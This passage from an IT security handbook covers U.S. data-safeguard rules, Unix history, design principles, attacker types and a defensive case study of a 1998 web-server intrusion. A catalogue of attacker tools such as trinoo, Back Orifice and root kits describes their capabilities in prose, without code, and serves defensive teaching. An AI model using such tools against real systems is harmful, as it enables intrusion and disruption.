[196] Id., Appendix C, p. 21. For further information on financial security, see Thomas Glaessner, Tom Kellermann, and Valerie McNevin, *Electronic Security: Risk Mitigation in Financial Transactions—Public Policy Issues,* The World Bank, June 2002, http://wbln0018.worldbank.org/html/FinancialSectorWeb.nsf/(attachmentweb)/E-security-RiskMitigationversion3/$FILE/E-security-Risk+Mitigation+version+3.pdf; Thomas Glaessner, Tom Kellermann, and Valerie McNevin, *Electronic Security: Risk Mitigation in Financial Transactions—Summary of Recent Research and Global Dialogues,* The World Bank, May 2003, http://www.worldbank.org/wbi/B-SPAN/sub_e-security.htm

[197] *Gramm-Leach Bliley Act, Title 15, United States Code, section 6801.*

[198] Gramm-Leach Bliley Act, Title 15, United States Code, section 6805.

[199] *"Appendix B to Part 570—Interagency Guidelines Establishing Standards for Safeguarding Customer Information," Part III, http://www.occ.treas.gov/fr/fedregister/66fr8616.htm.*

[200] *Id.*

arrangements, such as mergers and acquisitions, alliances and joint ventures, outsourcing arrangements[200] The rules also require the Boards of Directors of financial institutions to approve their institutions' written security programs and oversee the development, implementation, and maintenance of the program, including assigning specific responsibility for implementation and reviewing reports from management.

Similar rules issued by the Federal Trade Commission require that financial institutions under its purview must develop a plan in which the institution must:
(1) designate one or more employees to coordinate the safeguards;
(2) identify and assess the risks to customers information in each relevant area of the company's operation, and evaluate the effectiveness of the current safeguards for controlling these risks;
(3) design and implement a safeguards program, and regularly monitor and test it;
(4) select appropriate service providers and contract with them to implement safeguards; and
(5) evaluate and adjust the program in light of relevant circumstances, including changes in the firms business arrangements or operations, or the results of testing and monitoring of safeguards.[201]

A similar approach can be seen in the United States' Health Insurance Portability and Accountability Act of 1996 (HIPAA), which requires healthcare institutions to institute security measures to ensure patient information that is stored electronically remains confidential and free from unauthorized access. The security rule adopted under the Act requires the maintenance of reasonable and appropriate administrative, physical, and technical safeguards to protect the integrity and confidentiality of personal medical information and to protect against reasonably anticipated threats or hazards to the security or integrity of medical data or its unauthorized use or disclosure.[203] The rule applies to data both while in storage and in transit. It has 28 "standards" and 41 "implementation specifications."[204] It states that security practices should take into account technical capabilities of record systems, costs of security measures, the need for personnel training, and the value of audit trails in computerized record systems. The security rule identifies safeguards that are "required" and those that are "addressable."

The core principles of the Security Rule require covered entities to:

- Ensure the confidentiality, integrity, and availability of all electronic protected health information the covered entity creates, receives, maintains, or transmits.
- Protect against any reasonably anticipated threats or hazards to the security or integrity of such information.
- Protect against any reasonably anticipated uses or disclosures of such information that are not required under the Security Rule.
- Ensure compliance with the Security Rule by its workforce.[205]

The Rule, however, allows flexibility:

- Covered entities may use any security measures that allow the covered entity to reasonably and appropriately implement the standards and implementation specifications.
- In deciding which security measures to use, a covered entity must take into account the following factors:

  (i) The size, complexity, and capabilities of the covered entity.
  (ii) The covered entity's technical infrastructure, hardware, and software security capabilities.

---

[201] See "Financial Institutions and Customer Data: Complying with the Safeguards Rule," http://www.ftc.gov/bcp/conline/pubs/buspubs/safeguards.htm; see also Standards for Safeguarding Customer Information, 67 Fed. Reg. 36484-94, May 23, 2000, (codified at 16 Code of Federal Regulations Part 314), http://www.ftc.gov/os/2002/05/67fr36585.pdf.
[202] 45 Code of Federal Regulations sections 160, 162, 164; http://www.cms.hhs.gov/hipaa/hipaa2/regulations/security/default.asp
[203] See HIPAA, Title 42, United States Code section 1320d-2(d)(2).
[204] Linda A. Malek and Brian R. Krex, "HIPAA's security rule becomes effective 2005," *The National Law Journal, Mar. 31, 2003 at B14.*
[205] 45 Code of Federal Regulations Section 164.306(a)..

(iii) The costs of security measures.
(iv) The probability and criticality of potential risks to electronic protected health information.[206]

Another approach is to require companies to publicly disclose vulnerabilities and breaches, both in order to inform the public and to prompt system operators to improve security. EU law obligates the providers of publicly available telecommunications services to inform their subscribers of particular risks of a breach of security of the network and any possible remedies, including the costs involved. For example, in the State of California, a law took effect on July 1, 2003 requiring any company that owns, licenses, or maintains personal information of California residents to notify those residents if a security breach enables an unauthorized person to gain access to the residents' personal information.[207]

[206] 45 Code of Federal Regulations Section 164.306(b).
[207] Security Breach Information Act (SB 1386), added to the California Civil Code as Section 1798.29; Thomas J. Smedinghoff, Cybersecurity Disclosure Requirements: A New Trend?" Baker & McKenzie, Chicago (October 3, 2003), http://www.bmck.com/ecommerce/cybersecurity-disclosure-requirements.pdf.

PART FIVE

IT SECURITY FOR TECHNICAL ADMINISTRATORS

CHAPTER 1.
BACKGROUND

Summary of Parts 1-4

As we turn to the most technical Part of the Handbook, it will be useful to review what we have already discussed in Parts 1-4. As you will recall,

Part 1 of this publication provided an introduction to the general issues of security in an electronic age. The section described the scope of IT security issues, explained some types of malicious behavior with respect to computers and networks, and outlined why security policies and procedures are essential for individuals and enterprises or all types.

Part 2 addressed the common concerns of individual users of computing and networking resources. It explained the key security issues that pertain to individual users and offered guidelines on techniques that, when properly employed, will minimize the threat of a security penetration.

Part 3 covered the administrative and policy aspects of security from an organizational point of view. Through opportunities presented by the new digital media, small and medium-sized enterprises (SMEs) in developing countries are moving into position to compete on a level playing field in the current expansion of the global markets. Good security policy and effective implementation of security procedures will minimize the risk of accidental and deliberate losses and provide the tools to identify attacks and to repair security breaches. In the SME context, security policy should also include elements such as an authentication policy for users of interactive application areas such as e-business, e-commerce, and e-government. This part makes suggestions on how solid security policies may be developed and deployed in a range of organizational environments.

Part 4 focuses on security issues and legislative initiatives that need to be understood and handled at the governmental level. In addition to securing its own information assets, a government has an obligation to set policy for securing and protecting the national information infrastructure. Governments also need to envision how the growth of the information infrastructure will impact its legal system. Part 4 outlines some of the key questions facing policy makers and leaders in the developing world and offers examples of policies from the international community that may serve as guidance for those people engaged with new regulatory efforts concerning cyberspace.

Summary of Part 5 with Note on Technical Background

Part 5 is aimed at helping system and network administrators perform their duties efficiently. It provides detailed information on security issues that need to be understood and addressed at a highly technical, including:

- classifying specific threats to security, including methods of attack that are used to penetrate systems and programs;
- monitoring critical systems and network traffic so that attempted intrusions can be detected and, when possible, rejected;
- assessing the results of security evaluations while policies and procedures are being developed and analyzing the results of logs and other ongoing documentation once those security measures have been implemented.
- handling a break-in, recovering from the security breach, and learning from the experience

Part 5 differs from the other four Parts of this Handbook in that it assumes a certain level of technical knowledge on behalf of the reader. While concepts have been explained clearly and examples given whenever possible, this section is designed for people with a fair amount of experience with (or at least very strong interest in) systems

and their administration. There is a great deal of material to cover in this section and readers are strongly encouraged to make use of the Annexes which point to many respected references in the field of computer and network maintenance.

Since security issues often depend upon the operating environment of the computer, Part 5 provides subsections that address well-known security issues associated with the major operating systems in use today. Though the majority of Part 5 is system-independent whenever possible, pointers are offered on Microsoft Windows NT-based operating systems and Unix, Linux, MacOS X, and other variations of desktop Unix. In all cases, there are clear recommendations regarding the actions that can and should be taken to avoid compromise of system resources.

UNIX

There are several different (sometimes quite different) Unix or Unix-like operating systems, distributed by many different vendors. The reasons for this, and its implications, require a brief historical review.

The roots of Unix go back to the Multics project of the mid-1960s. The project, heavily funded by the U.S. Department of Defense Advanced Research Projects Agency (ARPA or DARPA) was designed to be a modular system built from banks of high-speed processors, memory, and communications equipment. By design, parts of the computer could be shut down for service without affecting other parts or the users. Although this level of processing is simply assumed today, such a capability was not available when Multics was begun. Multics was designed both to be resistant to external attacks and to protect the users on the system from each other – Multics was to support the concept of *multilevel security*. Multics eventually provided a level of security and service that is still unequaled by many of today's computer systems.

Whereas Multics tried to do many things, Unix tried to do one thing well: run programs. Strong security was not part of this goal. The system was based on compact programs, called *tools*, each of which performed a single function. American Telephone and Telegraph (AT&T) added tools and features throughout the 1970's. In 1973, Thompson rewrote most of Unix in Ritchie's newly invented C programming language. C was designed to be a simple, portable language. Programs written in C could be moved easily from one kind of computer to another—as was the case with programs written in other high-level languages like FORTRAN—yet they ran nearly as fast as programs coded directly in a computer's native machine language. By 1977, more than 500 sites were running the operating system; 125 sites were at universities in the United States and more than 10 foreign countries.

Development continued in different locations; including the University of California at Berkeley, which released the "Berkeley Software Distribution (BSD)," a collection of programs and modifications to the Unix system. Over the next six years, in an effort funded by ARPA, the so-called BSD Unix grew into an operating system of its own that offered significant improvements over AT&T's. Perhaps the most important of the Berkeley improvements was in the area of networking, which made it easy to connect Unix computers to local area networks (LANs). For all of these reasons, the Berkeley version of Unix became very popular with the research and academic communities.

As Unix started to move from the technical to the commercial markets in the late 1980s, the conflict between operating system versions based on AT&T Unix and those based on BSD was beginning to cause problems for all vendors. Commercial customers wanted a standard version of Unix, hoping that it could cut training costs and guarantee software portability across computers made by different vendors. And the nascent Unix applications market wanted a standard version, believing that this would make it easier for them to support multiple platforms, as well as compete with the growing PC-based market.

In May 1988, seven of the industry's Unix leaders—Apollo Computer, Digital Equipment Corporation, Hewlett-Packard, IBM, and three major European computer manufacturers —announced the formation of the Open Software Foundation (OSF). The goal of OSF was to wrest control of Unix away from AT&T alone and put it in the hands of a not-for-profit industry coalition, which would be chartered with shepherding the future development of Unix and making it available to all under uniform licensing terms. OSF decided to base its version of Unix on IBM's implementation, then moved to the Mach kernel from Carnegie Mellon University, and an assortment of Unix libraries and utilities from HP, IBM, and Digital. Although the result of that effort was not widely adopted or embraced by all the participants, the OSF concept of generated further development activity.

GNU

Richard Stallman, a programmer with the MIT Artificial Intelligence Laboratory's Lisp Machine Project, was tremendously upset when the companies that were founded to commercialize the research adopted rules prohibiting the free sharing of software. Stallman realized that if he wanted to have a large community of people sharing software, he couldn't base it on specialty hardware manufactured by only a few companies and running only LISP. So instead, he decided to base a new software community on Unix, a powerful operating system that looked like it had a future. He called his project GNU, a recursive acronym meaning "GNU's Not Unix!" To Stallman, being "free" wasn't simply a measure of price, it was also a measure of freedom. Being free meant that he was free to inspect and make changes to the source code, and that he was free to share copies of the program with his friends. He wanted free software — as in free speech, not free beer. By 1985, GNU's first major product, the Emacs text editor, had grown to the point that it could be readily used by people other than Stallman. Stallman next started working on a free C compiler, GNU C. Both of these programs were distributed under Stallman's GNU General Public License (GPL). This license gave developers the right to distribute the source code and to make their own modifications, provided that all future modifications were released in source code form and under the same license restrictions. That same year, Stallman founded the Free Software Foundation, a non-profit foundation that solicited donations and used it to hire programmers who would write freely redistributable software.

Minix and Linux

At roughly the same time that Stallman started the GNU project, professor Andrew S. Tanenbaum decided to create his own implementation of the Unix operating system to be used in teaching and research. As all of the code would be original, he would be free to publish the source code in his textbook and distribute working operating systems without paying royalties to AT&T. The system, Minix, ran on IBM PC AT clones equipped with the Intel-based processors and was designed around them. The project resulted in a stable, well-documented software platform and an excellent operating system textbook. However, efficiency was not a design criteria for Minix, and coupled with the copyright issues associated with the textbook, Minix did not turn out to be a good choice for widespread, everyday use.

In 1991, a Finnish computer science student named Linus Torvalds decided to create a free version of the Unix operating system that would be better suited to everyday use. Starting with the Minix code set, Torvalds solely reimplemented the kernel and file system piece-by-piece until he had a new system that had none of Tanenbaum's original code in it. Torvalds named the resulting system "Linux" and decided to license and distribute it under Stallman's GPL. By combining his system with other freely available tools, notably the C compiler and editor developed by the Free Software Foundation's GNU project and the X Consortium's window server, Torvalds was able to create an entire working operating system. Work on Linux continues to this day by hundreds of contributors.

NetBSD, FreeBSD, and OpenBSD

In 1988 the Berkeley Computer Systems Research Group (CSRG) started on a project to eliminate all AT&T code from their operating system. First available in June 1989, Networking Release 1 consisted of Berkeley's TCP/IP implementation and the related utilities. It was distributed on tape for a cost of $1,000, although anyone who purchased it could do anything that he wanted with the code, provided that the original copyright notice was preserved. Several large sites put the code up for anonymous FTP; the Berkeley code rapidly became the base of many TCP/IP implementations throughout the industry. An interim release named 4.3BSD-Reno occurred in early 1990; a second interim release, Networking Release 2, occurred in June 1991. This system was a complete operating system except for six remaining files in the kernel that contained AT&T code and had thus not been included in the operating system. In the fall of 1991, Bill Jolitz wrote those files for the Intel processor and created a working operating system called 386/BSD.

Within a few months a group of volunteers committed to maintaining and expanding the system formed and christened their effort "NetBSD." The NetBSD project soon splintered. Some of the members decided that the project's primary goal should support as many different platforms as possible and to continue to do operating system research. But another group of developers thought that they should devote their resources to making the system run as well as possible on the Intel 386 platform and making the system easier to use. This second group split off from the first and started the FreeBSD project. A few years later, a second splinter group broke off from the NetBSD project. This group decided that security and reliability were not getting the attention they should. The focus of this group was on careful review of the source code to identify potential problems. They restricted adoption of new code and drivers until they had been thoroughly vetted for quality. This third group adopted the name "OpenBSD."

Businesses Adopt Unix

As a result of monopolistic pricing on the part of Microsoft and the security and elegance of the Unix operating systems, many businesses have developed a renewed interest in adopting a Unix base for some commercial products. A number of network appliance vendors found the stability and security of the OpenBSD platform to be appealing, and they adopted it for their projects. Other commercial users, especially many early web hosting firms, found the stability and support options offered by BSDI to be attractive, and they adopted BSD/OS. Several universities also adopted BSD/OS because of favorable licensing terms for students and faculty when coupled with the support options.

Meanwhile, Linux became extremely popular among individuals seeking an alternative OS for their PCs. Although OpenBSD was likely a more secure and stable operating system at the time, Linux provided support for a much larger base of hardware, and was somewhat easier to install and operate.

Another key influence in the mid-to-late 1990s occurred when researchers at various national laboratories, universities, and NASA began to experiment with cluster computing. With cluster computing, scores (or hundreds) of commodity PCs were purchased, placed in racks, and connected with high-speed networks. Instead of running one program really fast on one computer, big problems were broken into manageable chunks that were run in parallel on the racked PCs. This approach, although not appropriate for all problems, often worked better than using high-end supercomputers. Furthermore, it was often several orders of magnitude less costly. One of the first working systems of this type, named Beowulf, was based on Linux. Because of the code sharing and mutual development of the supercomputing community, Linux quickly spread to other groups around the world wishing to do similar work.

All of this interest, coupled with growing unease with Microsoft's *de facto* monopoly of the desktop OS market, caught the attention of two companies — IBM and Dell — both of which announced commercial support for Linux. Around the same time, two companies devoted to the Linux operating system — Red Hat and VA Linux — had two of the most successful Initial Public Offerings in the history of the US stock market. Shortly thereafter, HP announced a supported version of Linux for their systems.

Today, many businesses and research laboratories run on Linux. They use Linux to run web servers, mail servers, and, to a lesser extent, as a general desktop computing platform. Instead of purchasing supercomputers, businesses create large Linux clusters that can solve large computing problems via parallel execution. FreeBSD, NetBSD, and OpenBSD are similarly well-suited to these applications, and are also widely used. However, based on anecdotal evidence, Linux appears to have a larger installed base of users than any one of the other systems. Based on announced commercial support, including ventures by Sun Microsystems, Linux seems better poised to grow in the marketplace. Nonetheless, because of issues of security and performance (at least), we do not expect the *BSD variants to fade from the scene; as long as the *BSD camps continue separate existences, however, it does seem unlikely that they will gain on Linux market share.

There are several versions of the Linux and BSD operating system that will boot off a single floppy. These versions, including Trinix, PicoBSD, and ClosedBSD, are designed for applications where high security is required, including forensics, recovery, and network appliances.

Security and Unix

Like Windows NT-based systems, Unix is a multi-user, multi-tasking operating system. *Multi-user* means that the operating system allows many different people to use the same computer at the same time. *Multi-tasking* means that each user can run many different programs simultaneously. One of the natural functions of such operating systems is to prevent different people (or programs) using the same computer from interfering with each other. Without such protection, a wayward program could affect other programs or other users, could accidentally delete files, or could even crash (halt) the entire computer system. To keep such disasters from happening, some form of computer security has always had a place in the Unix design philosophy.

Unix security provides more than mere memory protection. Unix has a sophisticated security system that controls the ways users access files, modify system databases, and use system resources. Unfortunately, those mechanisms don't help much when the systems are misconfigured, are used carelessly, or contain buggy software. Nearly all of the security holes that have been found in Unix over the years have resulted from these kinds of problems rather than from shortcomings in the intrinsic design of the system. Thus, nearly all Unix vendors believe that they can (and perhaps do) provide a reasonably secure Unix operating system. We believe that Unix systems can be fundamentally more secure than other common operating systems. However, there are influences that work against better security in the Unix environment.

Expectations

The biggest problem with improving Unix security is arguably one of expectations. Many users have grown to expect Unix to be configured in a particular way. Their experience with Unix in academic, hobbyist, and research settings has always been that they have access to most of the directories on the system and that they have access to most commands. Users may be accustomed to making their files world-readable by default. Users are also often accustomed to being able to build and install their own software, often requiring system privileges to do so.

Unfortunately, all of these expectations are contrary to good security practice. To have stronger security, system administrators must often curtail access to files and commands that are not strictly needed for users to do their jobs. Thus, someone who needs e-mail and a text processor for his work should not also expect to be able to run the network diagnostic programs and the C compiler. Likewise, to heighten security, users should not be able to install software that has not been examined and approved by a trained and authorized individual.

Administrators can strengthen security by applying some general security principles, in moderation. For instance, rather than removing all compilers and libraries from each machine, these tools can be protected so that only users in a certain user group can access them. Users with a need for such access, and who can be trusted to take due care, can be added to this group. Similar methods can be used with other classes of tools, too, such as network monitoring software or Usenet news programs. Furthermore, changing the fundamental view of data on the system (from readable by default to unreadable by default) can be beneficial. For instance, user files and directories should be protected against read access instead of being world-readable by default. Setting file access control values appropriately, and using shadow password files, are two examples of how this simple change in system configuration can improve the overall security of Unix.

The most critical aspect of enhancing Unix security is to get users themselves to participate in the alteration of their expectations. Not surprisingly, this advice also applies to enhancing the security of NT-based systems when users are accustomed to Microsoft's "personal" operating systems prior to NT. The best way to meet this goal is not by decree, but through education, awareness, and motivation. Technical security measures are crucial, but experience has proven repeatedly that people problems are not amenable to technological solutions. Many users started using computers in an environment that was less threatening than the one they face today. By educating users about the dangers and how their cooperation can help to thwart those dangers, the security of the system is increased. By properly motivating users to participate in good security practice, you make them part of the security mechanism. Better education and motivation work well only when applied together, however; education without motivation may mean that security measures are not actually applied, and motivation without education leaves gaping holes in what is done.

CHAPTER 2.
SECURITY FOR ADMINISTRATORS

At a Glance

This chapter provides an operational definition of security for administrators, discusses the design of secure systems, and explains who attacks computer systems. Some typical attacker tools are enumerated, and a case study of an attack is developed.

Security for Administrators

As a technical administrator, you're responsible for insuring that the systems you manage do what they're supposed to do. Although there are many formal definitions of security, a useful operational definition for administrators is: *A computer is secure if you can depend on it and its software to behave as you expect.*

If you expect the data entered into your machine today to be there in a few weeks, and to remain unread by anyone who is not supposed to read it, then the machine is secure. Security, then, is a critical function of every administrator's role. By this definition, natural disasters and buggy software are as much threats to security as unauthorized users are.

Bad Code

Designing secure computing systems and software isn't easy. In 1975, Jerome Saltzer and M. D. Schroeder described seven criteria for building such systems. They are:

Least privilege
Every user and process should have the least set of access rights necessary. Least privilege limits the damage that can be done by malicious attackers and errors alike. Access rights should be explicitly required, rather than given to users by default.

Economy of mechanism
The design of the system should be small and simple so that it can be verified and correctly implemented.

Complete mediation
Every access should be checked for proper authorization.

Open design
Security should not depend upon the ignorance of the attacker. This criterion precludes back doors in the systems that give access to users who know about them.

Separation of privilege
Where possible, access to system resources should depend on more than one condition being satisfied.

Least common mechanism
Users should be isolated from one another by the system. This limits both covert monitoring and cooperative efforts to override system security mechanisms.

Psychological acceptability
The security controls must be easy to use so that they will be used and not bypassed.

Unfortunately, designers often never learn these criteria, forget them, take shortcuts, or decide they're not important enough to bother with. As a result, there are many poorly-designed but widely-used operating systems, algorithms, and applications, including software that purports to be part of the security infrastructure of a system. Bad design leads to bugs and unforeseen side effects, which may cause accidental damage to your systems or information, or may be exploited intentionally by an attacker.

Free vs. Proprietary Software

One of the more controversial debates in software design is whether development processes that make source code freely available to users to inspect, modify, and redistribute ("free software" or "open source" software) should be preferred to proprietary ("closed source") development on the basis of security.

On the one hand, freely available source code makes it easier for attackers to find exploitable bugs in a program by reading its source code. Because there are many common classes of program errors that lead to vulnerabilities, source code can sometimes even be submitted to automated analysis to turn up bugs. Bugs have certainly been found and exploited in open source software.

On the other hand, closed source is not a panacea. In many cases, programs can be reverse-engineered, or vulnerabilities can be spotted through "black box" testing of a program without the source code. Clearly, lack of availability of the source code for Microsoft's Internet Information Server, for example, has not prevented attackers from exploiting several vulnerabilities, and this product seems to have a higher rate of exploits reported than, for example, the Apache web server.

Open source development can makes it easier for program developers and users to spot and fix bugs before attackers find them. The OpenBSD operating system, which is free software, is widely acknowledged as one of the most secure operating systems currently available, in large part because it has had a security audit of every line of kernel source code by its developers. Other open source operating system kernels, including Linux, are not as heavily vetted and contain code from many developers. It is difficult to know the degree to which proprietary Unix operating systems such as Solaris have been audited for security.

Understanding Your Adversaries

Who is breaking into networked computers with the most sophisticated of attacks? It almost doesn't matter—no matter who the attackers may be, they all need to be guarded against.

Script kiddies

As clichéd as it may sound, in many cases the attackers are children and teenagers— people who sadly have not (yet) developed the morals or sense of responsibility that is sufficient to keep their technical skills in check.

It is common to refer to young people who use sophisticated attack tools as *script kiddies*. The term is derisive. The word "script" implies that the attackers use readily available attack scripts that can be downloaded from the Internet to do their bidding, rather than creating their own attacks. And, of course, the attackers are called "kiddies" because so many of them turn out to be underage when they are apprehended.

Script kiddies should be considered a serious threat and feared for the same reason that teenagers with guns should be feared. In many cases, teenagers with handguns should be feared even more than adults, because a teenager is less likely to understand the consequences of his actions should he pull the trigger and thus more likely to pull it.

The same is true of script kiddies. In May 2001, for instance, the web site of Gibson Research Corporation was the subject of a devastating distributed denial-of-service attack that shut down its web site for more than 17 hours. The attack was orchestrated by more than 400 Windows computers around the Internet that had been compromised by an automated attack. As it turns out, Steve Gibson was able to get a copy of the attack program, reverse-engineer it, and trace it back. It turned out that his attacker was a 13-year-old girl.

Likewise, when authorities in Canada arrested "Mafiaboy" on April 19, 2000, for the February 2000 attacks on Yahoo, E*TRADE, CNN, and many other high-profile sites—attacks that caused more than $1.7 billion in damages—they couldn't release the suspect's name to the public because the 16-year-old was shielded by Canada's laws protecting the privacy of minors.[208]

Script kiddies may not have the technical skills necessary to write their own attack scripts and Trojan horses, but it hardly matters. They have the tools and increasingly they show few reservations about using them. Either they do not understand the grave damage they cause, or they do not care.

What does a script kiddie do when he grows up? Nobody is really sure—to date, there are no reliable studies. Anecdotal reports suggest that many script kiddies go straight. Some lose interest in computers; some become system operators and network administrators; and some even go into the field of computer security. (The wisdom of hiring one of these individuals to watch over your network is a matter of debate within the computer security community.) But it is unquestionably clear that some individuals continue their lives of crime.

Industrial spies

There appears to be a growing black market for information stolen from computer systems. Some individuals have tried to ransom or extort the information from its rightful owners—for example, by offering to help a company close its vulnerabilities in exchange for a large cash payment. There have been several documented cases (and perhaps many more unreported) in which criminals have stolen credit card numbers of clients from a company's server and threatened to post the information unless the company paid them. There have also been reports of attackers who have tried to sell industrial secrets to competitors of the companies that they have penetrated. Such transactions are illegal in the United States and in many other countries, but not in all.

Ideologues and national agents

There is a small but growing population of "hacktivists" who break into sites for ideological or political reasons. Often, the intent of these people is to deface web pages to make a statement of some kind, by defacement of law enforcement agencies, destruction of web sites by environmental groups, or destruction of research computing sites involving animal studies, to give some examples. Sometimes, the protesters are making a political statement; they may be advancing an ideological cause, or they may merely be anarchists striking a blow against technology or business.

Sometimes, these incidents may be carried out against national interests. For instance, a guerilla movement may deface sites belonging to a government opponent. In other cases, you see individuals in one jurisdiction attempting to make some point by attacking sites in another, such as in the Israeli-Palestinian conflict, the ongoing tension between Pakistan and India, and the aftermath of the accidental bombing of the Chinese embassy by U.S. forces. Many of these attacks may be spontaneous, but some may be coordinated or financed by the governments themselves.

[208] http://news.cnet.com/news/0-1005-200-4523277.html

These incidents can also affect third parties. For instance, during a Chinese crackdown, many ISPs around the world hosting web pages of adherents of Falun Gong found their servers under attack from sites inside China. Because of the coordination and replication of the attacks, authorities believed they were actually state-sponsored. ISPs have been attacked by vigilantes because they sell service to spammers, provide web service for hate groups, or seem to be associated with child pornographers—even if the ISP owners and operators were unaware of these activities!

Organized crime

Vast amounts of valuable information and financial data flow through the Internet. It would be naive to believe that the criminal element is unaware of this, or is uninterested in expanding into the networked world. There have been incidents of fraud, information piracy, and money laundering conducted online that officials believe are all related to organized crime. Communications on the Net have been used to advance and coordinate prostitution and pornography, gambling, trafficking in illegal substances, gun running, and other activities commonly involving organized crime. Furthermore, law enforcement sites may be targeted by criminals to discover what is known about them, or to discover identities of informants and witnesses.

With network globalization, the threats have a longer reach. The Russian mob, Sicilian Mafia, Japanese Yakuza, South American drug families, and Los Angeles gangs (to name a few) are all a few mouse clicks away on the network. Many law enforcement officials worry as a result that the Internet is a "growth" area for crime in the coming decade.

Rogue employees and insurance fraud

Finally, there are many cases of tactically skilled employees who have turned against their employers out of revenge, malice, or boredom. In some cases, terminated employees have planted Trojan horses or logic bombs in their employer's computers. In other cases, computer systems have been destroyed by employees as part of insurance scams.

What the Attacker Wants

Compromising a computer system is usually not an end in itself. Instead, most attackers seek to use compromised systems as a stepping-stone for further attacks and vandalism. After an attacker compromises a system, the system can be used for many nefarious purposes, including:

- Launching probes or exploits against other systems
- Participating in *distributed denial-of-service* (DDOS) attacks
- Running covert servers (e.g., the attacker might set up an Internet Relay Chat server that will act as a rendezvous point for Trojan horses and viruses that are sending back captured data)
- Covertly monitoring the network of the organization that owns the compromised system, with the goal of compromising more systems
- Becoming a repository for attack tools, pirated software, pornography, or other kinds of contraband information

There are many reasons that compromised systems make excellent platforms for these kinds of illegal activities. If a compromised system is connected to a high-speed Internet connection, the system may be able to do much more damage and mayhem than other systems that the attacker controls. Compromised systems can also be used to make it more difficult for authorities to trace an attacker's actions back to the person behind the keyboard. If an attacker hops through many computers in different jurisdictions—for example, from a compromised Unix account in France to a Windows proxy server in South Korea to an academic computer center in Mexico to a backbone router in New York—it may be effectively impossible to trace the attacker backward to the source.

Tools of the Attacker's Trade

A smattering of tools that have been commonly used by attackers would include:

nc (a.k.a. netcat)
Originally written by "Hobbit," *netcat* is the Swiss Army knife for IP-based networks. As such, it is a valuable diagnostic and administrative tool as well as useful to attackers. You can use *netcat* to send arbitrary data to arbitrary TCP/IP ports on remote computers, to set up local TCP/IP servers, and to perform rudimentary port scans.

trinoo (a.k.a. trin00)
trinoo is the attack server. trinoo waits for a message from a remote system and, upon receiving the message, launches a denial-of-service attack against a third party. Versions of trinoo are available for most Unix operating systems, including Solaris and Red Hat Linux. The presence of trinoo is usually hidden. A detailed analysis of trinoo can be found at *http://staff.washington.edu/dittrich/misc/trinoo.analysis*.

Back Orifice and Netbus
These Windows-based programs are Trojan horses that allow an attacker to remotely monitor keystrokes, access files, upload and download programs, and run programs on compromised systems.

bots
Short for robots, bots are small programs that are typically planted by an attacker on a collection of computers scattered around the Internet. Bots are one of the primary tools for conducting distributed denial-of-service attacks and for maintaining control on Internet Relay Chat channels. Bots can be distributed by viruses or Trojan horses. They can remain dormant for days, weeks, or years until they are activated. Bots can even engage in autonomous actions.

root kits
A root kit is a program or collection of programs that simultaneously gives the attacker superuser privileges on a computer, plants back doors on the computer, and erases any trace that the attacker has been present. Originally, root kits were designed for Unix systems (hence the name "root"), but root kits have been developed for Windows systems as well. A typical root kit might attempt a dozen or so different exploits to obtain superuser privileges. Once superuser privileges are achieved, the root kit might patch the login program to add a back door, then modify the computer's kernel so that any attempt to read the login program returns the original, unmodified program, rather than the modified one. Commands might be modified so that network connections from the attacker's machine are not displayed. Finally, the root kit might then erase the last five minutes of the computer's log files.

Worms
Worms exploiting vulnerabilities in network servers or networking components of operating systems have become a common way to compromise large numbers of computers at once.

Case Study: Faxsurvey

On October 7, 1998, an employee at Vineyard.NET noticed that the user http was logged in to the company's primary web server:

```
Script started on Wed Oct 7 20:54:21 1998
bash-2.02# W
 8:57PM up 27 days, 14:19, 5 users, load averages: 0.28, 0.33, 0.35
USER    TTY FROM        LOGIN@ IDLE WHAT
http    p0 KRLDB110-06.spli Tue02AM 1days /bin/sh
simsong p1 asy12.vineyard.n 8:42PM  15 -tcsh (tcsh)
ericx   p2 mac-ewb.vineyard 8:46PM   0 script
ericx   p3 mac-ewb.vineyard 8:46PM  11 top
ericx   p4 mac-ewb.vineyard 8:53PM   1 sleep 5
bash-2.02#
```

This computer was running the BSDI v3.1 operating system with all patches as released by the vendor. The web server was a version of the Apache web server named Strong-hold. The computer was used to initiate Automated Clearing House electronic funds transfers from customer accounts. To assist in these funds transfers, the computer held credit card and bank account information. (Fortunately, that information on the computer was stored in an encrypted format.)

In all likelihood, a user logged in as *http* could be the result of two things. First, it could be a member of the ISP's staff who was using the http account for debugging. Alternatively, it could be an attacker who had found some way to break into the http account, but had been unable to gain additional access. Because the user http was logged in from a computer whose name began *KRLDB110-06.spli*, it appeared to the staff that this was a case of unauthorized access.

When the intrusion was discovered, one of the staff members immediately started the Unix program *script* to record his actions. The intruder appeared to be idle for more than a day. The original intrusion had taken place on Tuesday at 2:00 a.m.

The next step was to list all of the processes currently running on the computer. Two processes were out of place — they were two copies of the */bin/sh* shell that were being run by *http*. Both of those shells had been started on the previous day, one at 2:00 a.m., the other at 4:00 a.m:

```
bash-2.02# ps auxww
USER    PID %CPU %MEM  VSZ RSS TT STAT STARTED    TIME COMMAND
root  11766 3.0 0.0    0   0 ?? Z  23Sep98  0:00.00 (admin_server)
root   3763 1.0 0.0    0   0 ?? Z   2:03PM  0:00.00 (junkbuster)
mail  18120 1.3 0.3  816 724 ?? S    8:56PM  0:00.64 smap
root  17573 1.0 0.0    0   0 ?? Z  11:03AM  0:00.00 (admin_server)
root     16 0.0 0.0   68  64 ?? Is  10Sep98  0:00.00 asyncd 2
root     18 0.0 0.0   68  64 ?? Is  10Sep98  0:00.02 asyncd 2
root     28 0.0 8.0  748 20680 ?? Ss  10Sep98  0:16.32 mfs -o rw -s 40960 /dev/ sd0b /tmp (mount_mfs)
root     53 0.0 0.1  268 296 ?? Ss  10Sep98  0:38.23 gettyd -s
...
```

```
root   18670 0.0 0.5  560 1276 ?? S  Tue02AM  0:04.77 (xterm)
http   18671 0.0 0.1  244 276 p0 Is  Tue02AM  0:02.23 /bin/sh
http   26225 0.0 0.1  236 276 p0 I+  Tue04AM  0:00.07 /bin/sh
```

Apparently, the intruder had broken in and then, for some reason, had given up. As there appeared to be no immediate urgency, the ISP carefully formulated a plan of action:

1. Do not alert the intruder about what is happening.
2. Determine the intruder's source IP address.
3. Use the Unix *kill* command to STOP the intruder's processes. This signal would prevent the processes from running while leaving a copy in memory.
4. Make a copy of the intruder's processes using the Unix *gcore* command.
5. Place a rule on the ISP router to block packets from the intruder's ISP.
6. Kill the intruder's processes unequivocally with kill -9
7. Determine how the intruder had broken in and fix the hole.
8. Alert law enforcement.

